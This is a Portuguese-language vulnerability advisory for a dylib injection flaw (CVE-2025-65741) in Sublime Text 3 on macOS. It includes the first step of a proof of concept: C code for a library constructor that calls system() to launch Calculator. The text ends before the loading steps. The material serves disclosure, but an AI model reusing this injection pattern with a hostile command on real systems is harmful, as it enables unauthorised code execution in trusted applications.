CVE-2025-65741 - Sublime Text 3 vulnerável a Injeção de Dylib para macOS

Download: https://www.sublimetext.com/3
CVE: CVE-2025-65741 | https://nvd.nist.gov/vuln/detail/CVE-2025-65741
Author: Vinicius Batistella
Version Affected: Sublime Text 3 Build 3208 or prior for macOS

Detalhes

O aplicativo Sublime Text não verifica corretamente uma injeção de código não assinado, o que permite que um atacante compile uma biblioteca .dylib e force o aplicativo a executá-la no contexto da aplicação. No exemplo a seguir, o aplicativo Sublime Text foi forçado a abrir o binário da calculadora. Esta vulnerabilidade foi corrigida na Build 3209 e posteriores.

PoC

1. Compile o seguinte código C da seguinte forma:

#include <stdio.h>
#include <stdlib.h>

__attribute__((constructor))
static void myconstructor(int argc, const char **argv)
{
	printf("[+] Dynalic Library Injection: %s\n", argv[0]);
	system("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
}